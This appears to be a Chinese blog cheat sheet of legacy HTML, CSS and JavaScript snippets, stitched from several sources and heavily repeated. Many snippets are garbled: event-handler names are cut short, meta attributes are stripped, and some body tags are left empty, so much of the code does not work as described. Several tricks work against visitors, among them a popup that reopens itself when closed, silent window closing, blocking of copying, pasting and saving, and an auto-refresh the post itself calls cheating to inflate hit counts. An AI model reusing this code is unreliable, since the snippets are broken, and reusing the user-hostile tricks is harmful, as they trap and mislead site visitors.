html网站常用代码

Abstract

Citation Yao Qing-sheng.Html网站常用代码.FUTURE & CIVILIZATION Natural/Social Philosophy & Infomation Sciences,20220105. https://yaoqs.github.io/20220105/html-wang-zhan-chang-yong-dai-ma/

1.结构性定义

文件类型 <HTML></HTML> （放在档案的开头与结尾）
文件主题 <TITLE></TITLE> （必须放在「文头」区块内）
文头 <HEAD></HEAD> （描述性资料，像是「主题」）
文体 <BODY></BODY> （文件本体）
（由浏览器控制的显示风格）
标题 <H?></H?> （从1到6，有六层选择）
标题的对齐 <H? ALIGN=LEFT|CENTER|RIGHT></H?>
区分 <DIV></DIV>
区分的对齐 <DIV ALIGN=LEFT|RIGHT|CENTER|JUSTIFY></DIV>
引文区块 <BLOCKQUOTE></BLOCKQUOTE> （通常会内缩）
强调 <EM></EM> （通常会以斜体显示）
特别强调 <STRONG></STRONG> （通常会以加粗显示）
引文 <CITE></CITE> （通常会以斜体显示）
码 <CODE></CODE> （显示原始码之用）
样本 <SAMP></SAMP>
键盘输入 <KBD></KBD>
变数 <VAR></VAR>
定义 <DFN></DFN> （有些浏览器不提供）
地址 <ADDRESS></ADDRESS>
大字 <BIG></BIG>
小字 <SMALL></SMALL>
与外观相关的标签（作者自订的表现方式）
加粗 <B></B>
斜体 <I></I>
底线 <U></U> （尚有些浏览器不提供）
删除线 <S></S> （尚有些浏览器不提供）
下标 <SUB></SUB>
上标 <SUP></SUP>
打字机体 <TT></TT> （用单空格字型显示）
预定格式 <PRE></PRE> （保留文件中空格的大小）
预定格式的宽度 <PRE WIDTH=?></PRE>（以字元计算）
向中看齐 <CENTER></CENTER> （文字与图片都可以）
闪耀 <BLINK></BLINK> （有史以来最被嘲弄的标签）
字体大小 <FONT SIZE=?></FONT>（从1到7）
改变字体大小 <FONT SIZE=+|-?></FONT>
基本字体大小 <BASEFONT SIZE=?> （从1到7; 内定为3）
字体颜色 <FONT COLOR="#$$$$$$"></FONT> 
说明 <!-- *** --> （浏览器不会显示）
<!--修改滚动条-->
<style type="text/css">
body {
scrollbar-face-color: #330033;
scrollbar-shadow-color: #FFFFFF;
scrollbar-highlight-color: #FFFFFF;
scrollbar-3dlight-color: #FFFFFF;
scrollbar-darkshadow-color: #FFFFFF;
scrollbar-track-color: #330033;
scrollbar-arrow-color: #FFFFFF;
}
</style>
<!--修改滚动条结束-->
将上面的代码放在叶子代码的<head></head>之间,颜色可根据自己的需要修改。
滚动条的代码意思如下：
Scrollbar-Face-Color为滚动条表面颜色设定；
Scrollbar-Track-Color为滚动条底板颜色设定；
Scrollbar-Darkshadow为滚动条下边和右边边沿颜色设定；
Scrollbar-Highlight-Color为滚动条上斜面和左斜面颜色设定；
Scrollbar-Shadow-Color为滚动条下斜面和右斜面颜色设定；
Scrollbar-3Dlight-Color为滚动条上边和左边的边沿颜色设定；
Scrollbar-Arrow-Color为滚动条两端箭头颜色设定。
<!> 跑馬燈
<marquee>...</marquee>普通捲動
<marquee behavior=slide>...</marquee>滑動
<marquee behavior=scroll>...</marquee>預設捲動
<marquee behavior=alternate>...</marquee>來回捲動
<marquee direction=down>...</marquee>向下捲動
<marquee direction=up>...</marquee>向上捲動
<marquee direction=right></marquee>向右捲動
<marquee direction=’left’></marquee>向左捲動
<marquee loop=2>...</marquee>捲動次數
<marquee width=180>...</marquee>設定寬度
<marquee height=30>...</marquee>設定高度
<marquee bgcolor=FF0000>...</marquee>設定背景顏色
<marquee scrollamount=30>...</marquee>設定捲動距離
<marquee scrolldelay=300>...</marquee>設定捲動時間
1)贴图：<img src="图片地址">

2)加入连接：<a href="所要连接的相关地址">写上你想写的字</a>

3)在新窗口打开连接：<a href="相关地址" target="_blank">写上要写的字</a>

4)移动字体(走马灯)：<marquee>写上你想写的字</marquee>

5)字体加粗：<b>写上你想写的字</b>

6)字体斜体：<i>写上你想写的字</i>

7)字体下划线: <u>写上你想写的字</u>

8)字体删除线: <s>写上你想写的字</s>

9)字体加大: <big>写上你想写的字</big>

10)字体控制大小：<h1>写上你想写的字</h1> (其中字体大小可从h1-h5,h1最大，h5最小)

11)更改字体颜色：<font color="#value">写上你想写的字</font>(其中value值在000000与ffffff(16位进制)之间

12)消除连接的下划线：<a href="相关地址" style="text-decoration:none">写上你想写的字</a>

13)贴音乐：<embed src="音乐地址" width="宽度" height="高度" autostart=false> 

14)贴flash: <embed src="flash地址" width="宽度" height="高度">
15)贴影视文件：<img dynsrc="文件地址" width="宽度" height="高度" start=mouseover> 

16)换行：<br>

17)段落：<p>段落</p>

18)原始文字样式：<pre>正文</pre>

19)换帖子背景：<body background="背景图片地址">

20)固定帖子背景不随滚动条滚动：<body background="背景图片地址" body 
bgproperties=fixed>

21)定制帖子背景颜色：<body bgcolor="#value">(value值见10)

22)帖子背景音乐：<body bgsound="背景音乐地址" loop=infinite>

23)贴网页：<iframe src="相关地址" width="宽度" height="高度"></iframe> 
1、店铺音乐代码:<embed src="音乐网址" loop="-1">

2、图片制作代码：<img src="这里放图片地址">

3、公告图片代码：<img border="0" src="这里放图片地址" />或<img src="这里放图片地址"/>

4、悬浮挂饰代码：<img src="这里放图片地址" style="left:20px; position: relative; top:0px" />

5、商品分类代码:<img src="这里放图片地址"/>

6、字体大小代码:<font size="2">这里放要处理的文字，可用3、4、5等设置大小</font>

7、字体颜色代码:<font color="red">这里放要处理的文字，可以换成blue,yellow等</font>

8、文字链接代码:<a href="网页地址">链接的文字，在分类栏里用时链接的网页地址必须缩短</a>

9、移动文字代码:<marquee>从右到左移动的文字</marquee>

10、背景音乐代码：<bgsound loop="-1" src="这里放音乐地址"></bgsound>

11、图片附加音乐代码：<img border=0 src="这里放图片地址" dynsrc="这里放音乐地址">

12、浮动图片代码:<img alt="1" height="150" src="这里放图片地址"/>


公告图片的代码：公告挂饰：店铺分类代码:背景音乐代码：换行代码
计数器代码颜色代码：

1白色 #FFFFFF
2红色#FF0000
3绿色#00FF00
4蓝色#0000FF
5牡丹红#FF00FF
6青色 #00FFFF
7黄色#FFFF00
8黑色#000000
9海蓝#70DB93
10巧克力色#5C3317
11蓝紫色 #9F5F9F
12黄铜色#B5A642
13亮金色#D9D919
14棕色#A67D3D
15青铜色 #8C7853
162号青铜色 #A67D3D
17士官服蓝色 #5F9F9F
18冷铜色 #D98719
19铜色 #B87333
20珊瑚红 #FF7F00
21紫蓝色 #42426F
22深棕 #5C4033
23深绿 #2F4F2F
24深铜绿色 #4A766E
25深橄榄绿 #4F4F2F
26深兰花色 #9932CD
27深紫色 #871F78
28深石板蓝 #6B238E
29深铅灰色 #2F4F4F
30深棕褐色 #97694F
32深绿松石色 #7093DB
33暗木色 #855E42
34淡灰色 #545454
35土灰玫瑰红色 #856363
36长石色 #D19275
37火砖色#8E2323
38森林绿 #238E23
39金色 #CD7F32
40鲜黄色 #DBDB70
41灰色 #C0C0C0
42铜绿色 #527F76
43青黄色 #93DB70
44猎人绿 #215E21
45印度红 #4E2F2F
46土黄色 #9F9F5F
47浅蓝色 #C0D9D9
48浅灰色 #A8A8A8
49浅钢蓝色 #8F8FBD
59浅木色 #E9C2A6
60石灰绿色 #32CD32
61桔黄色 #E47833
62褐红色 #8E236B
63中海蓝色 #32CD99
64中蓝色 #3232CD
65中森林绿 #6B8E23
66中鲜黄色 #EAEAAE
67中兰花色 #9370DB
68中海绿色 #426F42
69中石板蓝色 #7F00FF
70中春绿色 #7FFF00
71中绿松石色 #70DBDB
72中紫红色 #DB7093
73中木色 #A68064
74深藏青色 #2F2F4F
75海军蓝 #23238E
76霓虹篮 #4D4DFF
77霓虹粉红 #FF6EC7
78新深藏青色 #00009C
79新棕褐色 #EBC79E
80暗金黄色 #CFB53B
81橙色 #FF7F00
82橙红色 #FF2400
83淡紫色 #DB70DB
84浅绿色 #8FBC8F
85粉红色 #BC8F8F
86李子色 #EAADEA
87石英色 #D9D9F3
88艳蓝色 #5959AB
89鲑鱼色 #6F4242
90猩红色 #BC1717
91海绿色 #238E68
92半甜巧克力色 #6B4226
93赭色 #8E6B23
94银色 #E6E8FA
95天蓝 #3299CC
96石板蓝 #007FFF
97艳粉红色 #FF1CAE
98春绿色 #00FF7F
99钢蓝色 #236B8E
100亮天蓝色 #38B0DE
101棕褐色 #DB9370
102紫红色 #D8BFD8
103石板蓝色 #ADEAEA
104浓深棕色 #5C4033
105淡浅灰色 #CDCDCD
106紫罗兰色 #4F2F4F
107紫罗兰红色 #CC3299
108麦黄色#D8D8BF
109黄绿色 #99CC32



忽视右键
<body >
或
<body style="overflow-y:hidden">
如何几秒后转到别的页面？
<META. HTTP-EQUIV="Refresh" C>

点击关闭窗口
<a href="javascript:top.window.close();">点击关闭窗口</a>！

请问如何去掉主页右面的滚动条？
<body scroll="no">
<body style="overflow-y:hidden">

如何做到让一个网页自动关闭.
<html>
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body >
这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>

如何在不刷新页面的情况下刷新css?
<style>
button{ color:#000000;}
</style>
<button nclick=document.styleSheets[0].rules[0].style.color=‘‘‘‘red‘‘‘‘>点击按钮直接修改style标签里button选择符使按钮改为红色</button>
请问如何让网页自动刷新？
在head部记入<META. HTTP-EQUIV="Refresh" c>其中20为20秒后自动刷新，你可以更改为任意值。
如何让页面自动刷新？
方法一，用refresh

HTML 代码片段如下:
<head>
<meta. http-equiv="refresh" c>
</head>
5表示刷新时间
[Ctrl+A 全部选择 提示:你可先修改部分代码，再按运行]

方法二，使用setTimeout控制
<img src=/logo.gif>
<script>
function rl(){
document.location.reload()
}
setTimeout(rl,2000)
</script>

如何让超链接没有下划线
在源代码中的<HEAD>…</HEAD>之间输入如下代码：
<style type="text/css"> <!--
a { text-decoration: none}
-->
</style

请问如何去掉IE的上下滚动条？
<body style="overflow:scroll;overflow-y:hidden">
</body>

怎样才能把RealPlayer文件在网页做一个试听连接？
<embed height=25　src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" />

如何用html实现浏览器上后退按钮的功能？
<a href="javascript:history.go(-1)">点击后退</a>
或者
<script> history.back() </script>

请问怎么在网页中改变鼠标的箭头形状？
HTML 代码片段如下:
<body>
<a href="#" style="cursor: auto;">auto</a><br>
<a href="#" style="cursor: crosshair ">crosshair </a><br>
<a href="#" style="cursor: default ">default </a><br>
<a href="#" style="cursor: hand ">hand </a><br>
<a href="#" style="cursor: move ">move </a><br>
<a href="#" style="cursor: e-resize ">e-resize </a><br>
<a href="#" style="cursor: ne-resize ">ne-resize </a><br>
<a href="#" style="cursor: nw-resize">nw-resize</a><br>
<a href="#" style="cursor: n-resize">n-resize</a><br>
<a href="#" style="cursor: se-resize">se-resize</a><br>
<a href="#" style="cursor: sw-resize">sw-resize</a><br>
<a href="#" style="cursor: s-resize">s-resize</a><br>
<a href="#" style="cursor: w-resize">w-resize</a><br>
<a href="#" style="cursor: text">text</a><br>
<a href="#" style="cursor: wait">wait</a><br>
<a href="#" style="cursor: help">help</a><br>
</body>

怎样不使用页面的缓存？即每一次打开页面时不是调用缓存中的东西
<META. HTTP-EQUIV="pragma">

页面打开时自动弹出一个窗口的代码怎么写？
HTML 代码片段如下:
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type">
<script>
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
　window.open(theURL,winName,features);
}
//-->
</script
</head>
<body bgcolor="#FFFFFF" text="#000000" >
</body>
</html>

如何让我的页面出现一个会讲话的小人？
HTML 代码片段如下:
<HTML>
<HEAD>
<TITLE></TITLE>
<META http-equiv="Content-Type">
</HEAD>
<BODY>
<p>
<OBJECT id="sims" classid="CLSID45FD31B-5C6E-11D1-9EC1-00C04FD7081F">
</OBJECT>
<SCRIPT>
var MerlinID;
var MerlinACS;
sims.Connected = true;
MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);
Merlin = sims.Characters.Character(MerlinID);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("大家好");
Merlin.Play("GestureLeft");
Merlin.Think("我是默林！");
Merlin.Play("leased");
Merlin.Think("可爱吗？");
Merlin.Play("GestureDown");
Merlin.Speak("哈哈！");
Merlin.Hide();
function LoadLocalAgent(CharID, CharACS){
LoadReq = sims.Characters.Load(CharID, CharACS);
return(true);
}
</SCRIPT>
</p>
<p> </p>
<p>看此效果必须装有office2000！！！</p>
</BODY>
</HTML>

在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
HTML 代码片段如下:
<html><head>
<STYLE>
body　 {background-image:url(logo.gif);
 background-repeat:no-repeat; background-position:center }
</STYLE>
</head>
<body bgproperties="fixed" >
</body>
</html>
[Ctrl+A 全部选择 提示: 你可先修改部分代码，再按运行]
background-repeat:no-repeat; 是讓背景圖不占滿整個頁面
body bgproperties="fixed" 是拉動scroll時背景圖不動

文本输入框什么属性能实现不可输入？

HTML 代码片段如下:
<input type="text" name="textfield" disabled>
或者
<input type="text" name="textfield" readonly>

如何禁止自己的页面在别人的框架里打开？
把以下代码加至你的<head>
<script>
if (window.top!=self){
window.top.location=self.location
}
</script>

如何实现首页全屏幕显示？
HTML 代码片段如下:
<html>
<body><script>
var coolw=642
var coolh=400
var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",
fullscreen=1,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>

如何监听一个窗口被关闭了？
HTML 代码片段如下:
<body>

如何禁止Ctrl+N？
HTML 代码片段如下:
<body nkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

如何把页面加入用户的收藏夹？
HTML 代码片段如下:
<a href="javascript:window.external.AddFavorite('http://www.51js.com','无忧脚本')">收藏无忧脚本</a>

如何在我的页面中加入背景音乐？
IE: <bgsound src="*.mid" loop=infinite>
NS:<embed src="*.mid" autostart=true hidden=true loop=true>
*.mid你的背景音乐的midi格式文件


关于页面转换效果
<meta http-equiv="page-enter" >
或
<meta http-equiv="page-exit" >
说明：Transition=23是随机效果，另可以选0-22任一数字固定某个效果

如何设定打开页面的大小
HTML 代码片段如下:
<body ><!--(width，height)-->

怎样双击滚屏，单击停止？
HTML 代码片段如下:
<html>
<head>
<title>新網頁1</title>
</head>
<body>
<script >
var currentpos,timer;
function initialize()
{
timer=setInterval("scrollwindow()",10);
}
function sc(){
clearInterval(timer);
}
function scrollwindow()
{
currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();
}
document.onmousedown=sc
document.ondblclick=initialize
</script
<p>a</p><p>a</p><p>a</p><p>aa</p><p>aa</p><p>aa</p>
<p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p>
<p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p>
<p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>a</p>
</body>
</html>

如何让body中的文字不被选中？
HTML 代码片段如下:
<body   >aaa</body>

如何让弹出的窗口不能关闭？
在新开的窗口中加入如下代码
<body nunload=open(location.href)>
</body>

如何让浏览器在保存页面时保存失败？
HTML 代码片段如下:
<NOSCRIPT>
<<B style="color:black;background-color:#ffff66">IFRAME</B> SRC="*.html">
</<B style="color:black;background-color:#ffff66">IFRAME</B>>
</NOSCRIPT>

表单中如何用图片按钮实现 reset?
<html>
<head>
<script>
function aaa(){
document.forms[0].reset()
}
</script>
</head>
<body>
<form>
<textarea rows="2" name="S1" cols="20"></textarea>
<input type="submit" values="提交" name="B1">
<image src="logo.gif" nclick=aaa()>
</form>
</body></html>



进入网页时弹出的信息对话框
<body >
关闭窗口后弹出对话框
<body >
告别提示
<body nUnload= alert("再见，感谢你的访问！")>
只要你肯干,没有什么不能成功的.
1。忽视右键
　 <body ncontextmenu="return false">
　 或
　 <body style="erflow-y:hidden">
2。加入背景音乐
　 IE:<bgsound src="*.mid" loop=infinite>
　 NS:<embed src="*.mid" autostart=true hidden=true loop=true>
　 </embed>
　 *.mid你的背景音乐的midi格式文件
3。简单的window.open方法
　 <a href="#" onclick="javascript:window.open(文件路径/文件名,newwindow,toolbar=no,scrollbars=yes,resizable=no,top=0,left=0,width=400,height=300);">文字或图片</a>
　 参数解释：
　 <SCRIPT> js脚本开始；
　 window.open 弹出新窗口的命令；
　 文件路径/文件名 弹出窗口的文件名；
  newwindow 弹出窗口的名字（不是文件名），非必须，可用空代替；
　 width=400 窗口宽度；
　 height=300 窗口高度；
　 top=0 窗口距离屏幕上方的象素值；
　 left=0 窗口距离屏幕左侧的象素值；
　 toolbar=no 是否显示工具栏，yes为显示；
　 menubar，scrollbars 表示菜单栏和滚动栏。
　 resizable=no 是否允许改变窗口大小，yes为允许；
　 location=no 是否显示地址栏，yes为允许；
　 status=no 是否显示状态栏内的信息（通常是文件已经打开），yes为允许；
　 </SCRIPT> js脚本结束
4。简单的页面加密
　 <script>
　 <!--
　 function loopy(){
 var sWord ="";
 while(sWord!="login"){sWord=prompt("请输入你的登陆密码");}
 alert("登陆成功！");
　 }
　 loopy()
　 //-->
　 </script>
5。拉动页面时背景图不动
　 <style>
　 body{background-image:url(logo.gif);
　 background-repeat:no-repeat;background-position:center}
　 </style>
6。让浏览器在保存页面时保存失败
　 <NOSCRIPT><iframe. src="*.html"></iframe></NOSCRIPT>
7。随机替换图片
　 <script>
　 document.write(<img src="img/+parseInt(Math.random()*(5))+.gif"height="40" width="50">
　 </script>
　 图片文件名为0.gif 1.gif 2.gif 3.gif 4.gif
8。窗口定时关闭
　 先将如下代码网页文件的区：
　 <script>
　 function closeit() { setTimeout("self.close()",10000) //毫秒 }
　 </script
　 然后再在<body>标内加入如：<body onload="closeit()">
9。网页自动关闭
　 <html>
　 <head>
　 <object id=closes type="application/x-oleobject"
　 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
　 <param name="Command" value="Close"> 
　 </object> 
　 </head> 
　 <body nload="window.setTimeout(closes.Click(),10000)"> 
　 这个窗口会在10秒过后自动关闭,而且不会出现提示. 
　 </body> 
　 </html> 
10。网页自动刷新 
　 在head部记入 
　 <META. HTTP-EQUIV="Refresh" content="20"> 
　 其中20为20秒后自动刷新，你可以更改为任意值。 
11。网页自动转页 
　 <META. HTTP-EQUIV="Refresh" CONTENT="时间(秒);URL=地址"> 
12。保持layer在最前面，而不被Iframe、Object所覆盖 
　 在Layer中再插Iframe. 或 Object 设z-Index值 
　 <div z-Index:2><object xxx></object> ＃ 前面 
　 <div z-Index:1><object xxx></object> ＃ 后面 
　 <div id="Layer2" style="position:absolute; top:40;width:400px; 
　 height:95px;z-index:2"> height=100% width=100%> 
　 <iframe. width=0 height=0></iframe> 
　 </div> 
　 <div id="Layer1" style="position:absolute; top:50;width:200px; 
　 height:115px;z-index:1"> 
　 <iframe. height=100% width=100%></iframe> 
　 </div> 
13。返回上一页 
　 <a href=javascript:history.back(1)>『返回上一页』</a> 
14。关闭窗口 
　 <a href=javascript:self.close()>『关闭窗口』</a> 
15。关于iframe的透明背景 
　 <IFRAME. ID="iFrame1" SRC="iframe.htm" 
　 allowTransparency="true" 
　 style="background-color: green"></IFRAME> 
16. ncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键 
     <table border ncontextmenu=return(false)><td>no</table> 可用于Table 
17. <body nselectstart="return false"> 取消选取、防止复制 
18.onpaste="return false" 不准粘贴 
19.oncopy="return false;" ncut="return false;" 防止复制 
　
20. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标 
　
21. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标 
　
22. <input style="ime-mode:disabled"> 关闭输入法 
　
23. 永远都会带着框架 
<script><!-- 
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页 
// --></script 
　
24. 防止被人frame. 
　
<SCRIPT><!-- 
if (top.location != self.location)top.location=self.location; 
// --></SCRIPT> 
　
25. 网页将不能被另存为 
　
<noscript><iframe. src=*.html></iframe></noscript> 
　
26. 查看网页源代码 
　
<input type=button value=查看网页源代码 
onclick="window.location = "view-source:"+ "http://www.pconline.com.cn""> 
　
27.删除时确认 
　
<a href="javascript:if(confirm("确实要删除吗?"))location="boos.asp? &areyou=删除&page=1"">删除</a> 
　
28.屏蔽功能键Shift,Alt,Ctrl 
<script> 
function look(){ 
if(event.shiftKey) 
alert("禁止按Shift键!"); //可以换成ALT　CTRL 
} 
document.onkeydown=look; 
</script> 

29. 网页不会被缓存 
<META. HTTP-EQUIV="pragma" CONTENT="no-cache"> 
<META. HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate"> 
<META. HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"> 
或者<META. HTTP-EQUIV="expires" CONTENT="0"> 
　
30. 怎样让表单没有凹凸感？ 
<input type=text style="border:1 solid #000000"> 
或 <input type=text style="border-left:none; border-right:none; border -top:none; border-bottom: 1 solid #000000"></textarea> 

31.不要滚动条? 
让竖条没有: 
<body style="overflow:scroll;overflow-y:hidden"> 
</body> 
让横条没有: 
<body style="overflow:scroll;overflow-x:hidden"> 
</body> 
两个都去掉？更简单了 
<body scroll="no"> 
</body> 
　
32. 怎样去掉图片链接点击后，图片周围的虚线？ 
　
<a href="#" nFocus="this.blur()"><img src="logo.jpg" border=0></a> 
　
33. 电子邮件处理提交表单 
　
<form. name="form1" method="post" action="mailt****@***.com" enctype="text/plain"> 
<input type=submit> 
</form> 
　
34. 在打开的子窗口刷新父窗口的代码里如何写？ 
window.opener.location.reload() 
　
35. 如何设定打开页面的大小 
<body nload="top.resizeTo(300,200);"> 
打开页面的位置<body nload="top.moveBy(300,200);"> 
　
36. 在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动 
<STYLE> 
body 
{background-image:url(logo.gif); background-repeat:no-repeat; 
background-position:center;background-attachment: fixed} 
</STYLE> 
　
37. 检查一段字符串是否全由数字组成 
<script><!-- 
function checkNum(str){return str.match(//D/)==null} 
alert(checkNum("1232142141")) 
alert(checkNum("123214214a1")) 
// --></script 
　
38. 获得一个窗口的大小 
document.body.clientWidth; document.body.clientHeight 
　
39. 怎么判断是否是字符 
if (/[^/x00-/xff]/g.test(s)) alert("含有汉字"); 
else alert("全是字符"); 

40.TEXTAREA自适应文字行数的多少 
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight"> 
</textarea> 
　
41. 日期减去天数等于第二个日期 
<script> 
function cc(dd,dadd) 
{ 
//可以加上错误处理 
var a = new Date(dd) 
a = a.valueOf() 
a = a - dadd * 24 * 60 * 60 * 1000 
a = new Date(a) 
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日") 
} cc("12/23/2002",2) 
</script>
　
42. 选择了哪一个Radio 
<HTML><script> 
function checkme() 
for each ob in radio1 
if ob.checked then window.alert ob.value 
next 
end function 
</script>
<BODY> 
<INPUT name="radio1" type="radio" value="style" checked>Style. 
<INPUT name="radio1" type="radio" value="barcode">Barcode 
<INPUT type="button" value="check" nclick="checkme()"> 
</BODY></HTML> 

43.脚本永不出错 
<SCRIPT> 
<!-- Hide function killErrors(){return true;} window.onerror = killErrors; // --> 
</SCRIPT> 
　
44.ENTER键可以让光标移到下一个输入框 
<input nkeydown="if(event.keyCode==13)event.keyCode=9"> 
　
45. 检测某个网站的链接速度： 
把如下代码加入<body>区域中: 
<script> 
tim=1 
setInterval("tim++",100) 
b=1 
var autourl=new Array() 
autourl[1]="www.njcatv.net" 
autourl[2]="javacool.3322.net" 
autourl[3]="www.sina.com.cn" 
autourl[4]="www.nuaa.edu.cn" 
autourl[5]="www.cctv.com" 
function butt(){ 
document.write("<form. name=autof>") 
for(var i=1;i<autourl.length;i++) 
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text 
name=url"+i+" size=40> =》<input type=button value=GO onclick=window.open(this.form.url"+i+".value)><br>") 
document.write("<input type=submit value=刷新 ></form>") 
} 
butt() 
function auto(url){ 
document.forms[0]["url"+b].value=url 
if(tim>200) 
{document.forms[0]["txt"+b].value="链接超时"} 
else 
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"} b++ } 
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl+"/"+Math.random()+" width=1 height=1 nerror=auto("http://"+autourl+"")>")} 
run()</script> 

46. 各种样式的光标 
auto ：标准光标 
default ：标准箭头 
hand ：手形光标 
wait ：等待光标 
text ：I形光标 
vertical-text ：水平I形光标 
no-drop ：不可拖动光标 
not-allowed ：无效光标 
help ：?帮助光标 
all-scroll ：三角方向标 
move ：移动标 
crosshair ：十字标 
e-resize 
n-resize 
nw-resize 
w-resize 
s-resize 
se-resize 
sw-resize

进入网页时淡入淡出的效果。

1	<meta http-equiv="Page-Exit"; content="blendTrans(Duration=1.0)">

在头部head之间加入此代码，你会发现点击链接的时候，网页现实的是淡入淡出的效果。此代码含义如下：Page-Exit”（离开网页）、”Site-Enter”（进入站点）、”Site-Exit”（离开站点）其中”Duration=1.0″可以设定每个周期的时间为多久，单位是秒（现在设置的是每周期1秒）。

彻底屏蔽鼠标右键。此段代码加入区域。

1	<body oncontextmenu="window.event.returnValue=false">

此段代码加入区域将取消选取、防止复制。

1	<body onselectstart="return false">

不准粘贴。此段代码加入区域

1	<body onpaste="return false">

脚本永不出错,如果您的浏览器提示您的网址JS脚本出错，但检测了一遍没发现错误，就可以使用一下代码：

<SCRIPT  >
<!--   Hide function   killErrors()   {return   true;} window.onerror   =   killErrors; 
//   --> 
</SCRIPT>

在规定时间内跳转，意思就是5秒后自动跳转到该页面下，适合做404网页。

1	<META http-equiv=V="REFRESH" content="5;URL=http://www.lusongsong.com">

可防止复制，此段代码加入< body>区域

1	<body oncopy="return false;" oncut="return false;" >

防止被人frame。例：有些网址导航站收录您的网址之后，不会直接跳转到你的网站，而是加载到他的网页中，这样不会给你的网站产生任何IP和PV。如果您不希望这样，那么请加入此段代码。

1 2	<SCRIPT><!-- if (top.location != self.location)top.location=self.location;// --> </SCRIPT>

11：页面自动刷新，把如下代码加入 < head> 区域中其中20指每隔20秒刷新一次页面. 可用户增加文章点击率，这是作弊行为。

1	<meta http-equiv= "refresh " content= "20 "> ,

输入汉字

<INPUT    onblur="if(this.value==''){this.value='2-4个汉字';this.style.color='#999999'}else{this.style.color='#000000'};" 
            onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')" 
            style="WIDTH: 65px; COLOR: #999999" onFocus="this.value='';" 
            maxLength=4 value=2-4个汉字 name=name>

1 2	oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键 <table border oncontextmenu=return(false)><td>no</table> 可用于Table

1	<body onselectstart="return false"> 取消选取、防止复制

1	onpaste="return false" 不准粘贴

1	oncopy="return false;" oncut="return false;" 防止复制

1	<link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

1	<link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标

1	<input style="ime-mode:disabled"> 关闭输入法

永远都会带着框架

1
2
3

<script><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>

防止被人frame

1
2
3

<SCRIPT><!-- 
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>

网页将不能被另存为

1	<noscript><iframe src="/blog/*.html>";</iframe></noscript>

1 2	<input type=button value=查看网页源代码 onclick="window.location = "view-source:"+ "http://www.180it.com"">

删除时确认

1	<a href="javascript:if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"">删除</a>

取得控件的绝对位置

//Javascript
<script>
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent)
alert("top="+t+"/nleft="+l);
}
</script>

//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>

光标是停在文本框文字的最后

<script>
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart("character",e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">

1 2	javascript: document.referrer

最小化、最大化、关闭窗口

<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> 
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> 
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT>
<input type=button value=最小化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>

本例适用于IE

17.屏蔽功能键Shift,Alt,Ctrl

<script>
function look(){ 
if(event.shiftKey) 
alert("禁止按Shift键!"); //可以换成ALT　CTRL
} 
document.onkeydown=look; 
</script>

网页不会被缓存

<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">

怎样让表单没有凹凸感？

<input type=text style="border:1 solid #000000"> 
或
<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom: 

1 solid #000000"></textarea>

<div><span>&<layer>的区别？

1
2
3

<div>(division)用来定义大段的页面元素，会产生转行 
<span>用来定义同一行内的元素，跟<div>的唯一区别是不产生转行 
